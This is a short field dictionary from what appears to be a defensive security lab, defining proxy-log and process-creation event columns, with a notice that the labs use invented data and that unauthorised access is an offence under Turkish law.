categoryCategory assigned by the proxy
actionallowed or blocked
bytes_outBytes sent from the company
bytes_inBytes received source=processProcess creation Process start events from workstations and servers, similar to Sysmon event 1.
imageProgram that started
parentProgram that started it
pidProcess ID
ppidParent process ID
cmdlineFull command line Every lab uses invented data and simulates defence work only. Do not test systems you do not own or have written permission to test: unlawful access to an information system is an offence (Turkish Penal Code art. 243).